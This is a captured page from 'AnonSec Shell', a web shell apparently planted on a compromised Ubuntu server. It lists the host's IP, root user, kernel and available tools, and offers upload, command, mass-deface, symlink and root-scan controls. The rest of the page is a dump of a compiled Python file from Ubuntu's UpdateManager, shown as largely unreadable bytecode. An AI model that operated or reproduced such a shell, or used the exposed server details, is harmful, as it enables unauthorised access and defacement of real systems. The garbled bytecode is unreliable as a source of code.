AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/UpdateManager/Core/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/UpdateManager/Core/__pycache__/utils.cpython-310.pyc
o

z��c�G�@s4ddlmZddlmZddlmZddlmZmZmZddl	m
Z
ddlZddlZe�
�ddlZddlZddlZddlZddlZddlZddlZzddlmZmZmZmZmZddlmZWney}ddlmZmZmZmZmZddlmZYnwdd	l m Z Gd
d�de!�Z"dd
�Z#dd�Z$dKdd�Z%dd�Z&dLdd�Z'dd�Z(dd�Z)dd�Z*dd�Z+d d!�Z,d"d#�Z-Gd$d%�d%e�Z.dKd&d'�Z/dKd(d)�Z0d*d+�Z1d,d-�Z2d.d/�Z3d0d1�Z4dKd2d3�Z5d4d5�Z6dKd6d7�Z7dKd8d9�Z8d:d;�Z9d<d=�Z:d>d?�Z;d@dA�Z<dBdC�Z=dDdE�Z>dFdG�Z?e@dHk�re9ddIdJ�dSdS)M�)�print_function)�gettext)�ngettext)�S_IMODE�ST_MODE�S_IXUSR)�ceilN)�ProxyHandler�Request�build_opener�install_opener�urlopen)�urlsplit)�copyc@s*eZdZdZd
dd�Zdd�Zdd�Zd	S)�
ExecutionTimez�
    Helper that can be used in with statements to have a simple
    measure of the timing of a particular block of code, e.g.
    with ExecutionTime("db flush"):
        db.flush()
    �cCs
||_dS�N)�info)�selfr�r�:/usr/lib/python3/dist-packages/UpdateManager/Core/utils.py�__init__Gs
zExecutionTime.__init__cCst��|_dSr)�time�now�rrrr�	__enter__JszExecutionTime.__enter__cCs td|jt��|jf�dS)Nz%s: %s)�printrrr)r�type�value�stackrrr�__exit__Ms zExecutionTime.__exit__N)r)�__name__�
__module__�__qualname__�__doc__rrr rrrrr@s

rcCsJt|�}t|j�}|jr|j�|jd�|_|jr!|j�|jd�|_t|�S)Nzhidden-uzhidden-p)rr�uri�username�replace�password�str)�entry�tmp�	url_partsrrr�)get_string_with_no_auth_from_source_entryQs
r-cCsDd}zddl}|��}|�d�}W|Sty!t�d�Y|Sw)z+ return True if Unity is currently running FrNzcom.canonical.Unityz&could not check for Unity dbus service)�dbus�
SessionBus�name_has_owner�	Exception�logging�	exception)�
unity_runningr.�busrrr�is_unity_running[s��r6cCs�|st��}|dkrId|}t|��}|��}Wd�n1s!wY|�d�d�d�d}||kr8dSt|�d�d��d�}|dks
dS)	Nrz
/proc/%s/stat�(��)T�F)�os�getpid�open�read�	partition�
rpartition�int�split)�processname�pid�	stat_file�stat_f�stat�commandrrr�is_child_of_process_namegs

��
rIcCs0tj�d�rtj�d�sdSt�d�t�d�kS)z, returns True if we are inside a chroot
    z/procz/proc/1T�/z/proc/1/root)r;�path�existsrGrrrr�
inside_chrootwsrM�FrcCsLd}|��D]}t|�|�d�t|�|kr|d|7}||d7}q|S)z� helpers inspired after textwrap - unfortunately
        we can not use textwrap directly because it break
        packagenames with "-" in them into new lines
    r�
� )rB�len�rfind)�t�width�subsequent_indent�out�srrr�wrap�srXcKs8d}|�d�}|D]}t|fi|��}||d7}q	|S)NrrO)rBrX)rW�kwargs�msg�paras�parrrr�twrap�s
r]cCsdg}tj�d�s
gStjdgtjdd�}|��d�d�}|d=|D]
}|r/|�|��d�q"|S)z= return list of loaded modules (or [] if lsmod is not found) z/sbin/lsmodT��stdout�universal_newlinesrrO)	r;rKrL�
subprocess�Popen�PIPE�communicaterB�append)�modules�p�lines�linerrr�lsmod�s��rjcCsFtj�|�sdStt�|�t�}|t@tks!t�||tB�dSdS)zB check if a given binary has the executable bit and if not, add itN)r;rKrLrrGrr�chmod)rK�moderrr�check_and_fix_xbit�s�rmcCs�ddi}dtjvrdStjd��}|dd�|vr"||dd�Sd|vrA|�d�d�d�d	}d
|vr=|�d
�d}|dS|dd�dS)z: helper to get the country mirror from the current locale �cr�LANGN��_�.rr:�@r8)r;�environ�lowerrB)�lang_mirror�lang�countryrrr�country_mirror�s
rycC�tj�d�}|rt�d|�|Sddlm}m}|gd�|dd�}|��}|dkr4t	j
�d|�d	S|j�
���}|j��|S)
z2 return the codename of the current runing distro �META_RELEASE_FAKE_CODENAMEzQusing fake release name '%s' (because of META_RELEASE_FAKE_CODENAME environment) r�rbrc)�lsb_releasez-c�-sTr^�"lsb_release returned exitcode: %i
�unknown distribution�r;rt�getr2�warningrarbrc�wait�sys�stderr�writer_�readline�strip�close)�distrbrcrg�resrrr�get_dist��"�
�
r�cCrz)
z2 return the version of the current running distro �META_RELEASE_FAKE_VERSIONzSusing fake release version '%s' (because of META_RELEASE_FAKE_VERSION environment) rr|)r}z-rr~Tr^rr�r�)�descrbrcrgr�rrr�get_dist_version�r�r�c@seZdZdd�ZdS)�HeadRequestcC�dS)N�HEADrrrrr�
get_method�szHeadRequest.get_methodN)r!r"r#r�rrrrr��sr�c
CsT|sdd�|d|�t|�\}}}}}|d|||||f�|dvrSztt|��}|��|jdkr7WdSWdStyR}z
|d	|�WYd
}~dSd
}~ww|dkr�dd
l}	z1|	�|�}
|
��|
�	t
j�|��|
�
t
j�|��}|
��|r�|d
|�|dkr�WdSWdSty�}z|r�|d|�WYd
}~dSd
}~wwdS)z�
    helper that checks if the given uri exists and is downloadable
    (supports optional debug_func function handler to support
     e.g. logging)

    Supports http (via HEAD) and ftp (via size request)
    cSr�)NTr)�xrrr�<lambda>sz"url_downloadable.<locals>.<lambda>zurl_downloadable: %sz"s='%s' n='%s' p='%s' q='%s' f='%s')�http�https��TFzerror from httplib: '%s'N�ftprzftplib.size() returned: %szerror from ftplib: '%s')rr
r�r��coder1�ftplib�FTP�login�cwdr;rK�dirname�size�basename�quit)r%�
debug_func�scheme�netlocrK�querry�fragment�	http_file�er��fr�rrr�url_downloadable�sP
�
��
����r�c
CsBd}i}tj�d�dkrtj�d�|d<n0tj�|�rEt��}t�||�|�dd�}|rE|�d�}t	|�
d��}|rE|rEd	||f|d<tj�d
�dkrVtj�d
�|d<n
d|vr`|d|d<|r�|��D]}t�
d|�sztd
|tjd�dSqft|�}t|�}	t|	�d|vr�t�d|d�d|vr�t�d|d�|S)z� init proxy settings

    * use apt.conf http proxy if present,
    * otherwise look into synaptics config file,
    * otherwise the default behavior will use http_proxy environment
      if present
    z/root/.synaptic/synaptic.confzAcquire::http::Proxyrr�zSynaptic::useProxyFzSynaptic::httpProxyzSynaptic::httpProxyPortz
http://%s:%s/zAcquire::https::Proxyr�zhttps?://\w+zproxy '%s' looks invalid)�fileN�
http_proxy�https_proxy)�apt_pkg�config�findr;rKrL�
Configuration�read_config_file�find_br)�find_i�values�re�matchrr�r�r	rr�putenv)
�	gsettings�SYNAPTIC_CONF_FILE�proxies�cnf�	use_proxy�
proxy_host�
proxy_port�proxy�
proxy_support�openerrrr�
init_proxy"s>
�r�c
Cs�zOddl}|�|jj�}z|�dd�}|�|d�}|�dd�WWS|jjyO}z!d}|j|kr2�|�dd	�}|�|d�}|�dd
�WYd}~WSd}~wwt	yYYdSw)z�
    Check via dbus if the system is running on battery.
    This function is using UPower per default, if UPower is not
    available it falls-back to DeviceKit.Power.
    rNzorg.freedesktop.UPowerz/org/freedesktop/UPowerzorg.freedesktop.DBus.Properties�	OnBatteryz)org.freedesktop.DBus.Error.ServiceUnknownzorg.freedesktop.DeviceKit.Powerz /org/freedesktop/DeviceKit/Power�
on_batteryF)
r.�Bus�TYPE_SYSTEM�
get_object�	Interface�Get�
exceptions�
DBusException�_dbus_error_namer1)r.r5�devobj�devr��
error_unknownrrrr�Ns.�
����r�cCszz2ddlm}m}|�|jj�}|�dddd|�dd�d	dd
d	d	�
\}}|j|�	�|dd�}|WSt
y<YdSw)
z�
    Send a dbus signal to logind to not suspend the system, it will be
    released when the return value drops out of scope
    r)�Gio�GLibzorg.freedesktop.login1z/org/freedesktop/login1zorg.freedesktop.login1.Manager�Inhibitz(ssss))zshutdown:sleep�
UpdateManagerzUpdating System�blockN���)�fdF)�
gi.repositoryr�r��bus_get_sync�BusType�SYSTEM�call_with_unix_fd_list_sync�Variant�UnixInputStream�	steal_fdsr1)r�r��
connection�var�fdlist�	inhibitorrrr�
inhibit_sleepjs �
��r�cCs|dks
|��dkrdSdS)N�0�FALSEFT)�upper)r)rrr�str_to_bool�sr�cCs:ddl}z	t��\}}|WSty|�d�YdSw)Nrzgedefaultlocale() failed)r2�locale�getdefaultlocaler1r3)r2�locale_s�encodingrrr�get_lang�s
�r�cCst|d�}|�dd�dS)z6 try to guess the flavor based on the running desktop ��cache�-r:r)�get_ubuntu_flavor_packagerB)r��pkgrrr�get_ubuntu_flavor�s
r�cCs ddlm}|d�}|�dd�S)Nr)�DistUpgradeConfigz"/usr/share/ubuntu-release-upgrader�Distro�MetaPkgs)�#DistUpgrade.DistUpgradeConfigParserr��getlist)r��parserrrr�_load_meta_pkg_list�sr�c
Cs�dg}z
|�tt���Wnty$}ztd|�WYd}~nd}~ww|dur-t��}|D]}||vr9||nd}|rD|jrD|Sq/dS)zB try to guess the flavor metapackage based on the running desktop zubuntu-desktopz%Could not load list of meta packages:N)�extend�sortedr�r1r�apt�Cache�is_installed)r��	meta_pkgsr��meta_pkg�	cache_pkgrrrr��s��
�r�cCsbt|d�}ddi}||vr||S|�d�r t|�dd�d�S|�d�r/t|�dd�d�SdS)	z; try to guess the flavor name based on the running desktop r�zubuntustudio-desktopz
Ubuntu Studioz-desktopr:rz-netbook�Ubuntu)r��endswith�capitalize_first_word�rsplit)r�r��lookuprrr�get_ubuntu_flavor_name�s


rcCs�ddl}|�dd�ddlm}m}|j||jj|jj	|j
jd�}|�d||f�|�
�|���|jj�|�d�|��|��dS)	Nr�Gtkz3.0)r�Gdk)�parent�flagsr�buttonsz<big><b>%s</b></big>

%srF)�gi�require_versionr�rr
�
MessageDialog�DialogFlags�MODAL�MessageType�ERROR�ButtonsType�CLOSE�
set_markup�realize�
get_window�
set_functions�
WMFunction�MOVE�	set_title�run�destroy)r�summary�messagerrr
�drrr�error�s�
r&cCsH|dkrtt|td���}tdd|�d|iSt�td�|dd�S)zG
    Convert a given size in bytes to a nicer better readable unit
    i@Bi�z
%(size).0f kBr�z%.1f MBg@�@)rAr�floatrr��
format_stringrq)�bytes�
size_in_kbrrr�
humanize_size�s
�r+cCstj�d�S)NzAPT::Architecture)r�r�r�rrrr�get_arch�sr,c
Cs�d}d}d}td��?}|��D]1}|��}|sq|��}||}||kr%q||�d�d}t|d�}	|	|kr@Wd�dSqWd�d	S1sLwYd	S)
z@ check if the current system is listening on the given tcp port r:��0Az
/proc/net/tcp�:�NTF)r=�	readlinesr�rBrA)
�port�INDEX_LOCAL_ADDR�INDEX_STATE�STATE_LISTENING�net_tcprir��state�local_port_str�
local_portrrr�is_port_already_listening�s.

��
��r:cCsVd}t��dkrtd��tj�d�sdStjddgtjdd	���d}||kr)dSdS)
z# Return True if iptables is active z�Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
rz%Need root to check the iptables statez/sbin/iptablesF�iptablesz-nLTr^)	r;�getuid�OSErrorrKrLrarbrcrd)�iptables_emptyrVrrr�iptables_active
s	
��r?cCs@t|�dkr|d��r|d��s|d��|dd�S|S)z3 this uppercases the first word's first letter
    r:rN)rQ�isalpha�isupper�
capitalize)�stringrrrr"s$rcCst|jdd�}t|�S)zX this takes a package synopsis and uppercases the first word's
        first letter
    r#r)�getattr�	candidater)r��namerrr�get_package_label*srG�__main__�bar�bazr)rNr)A�
__future__rrrqrrGrrr�mathrrr��init_configr�r2r�r;rar�r�urllib.requestr	r
rrr
�urllib.parser�ImportError�urllib2�urlparser�objectrr-r6rIrMrXr]rjrmryr�r�r�r�r�r�r�r�r�r�r�r�rr&r+r,r:r?rrGr!rrrr�<module>sp�





		

+,

	


�

Anon7 - 2022
AnonSec Team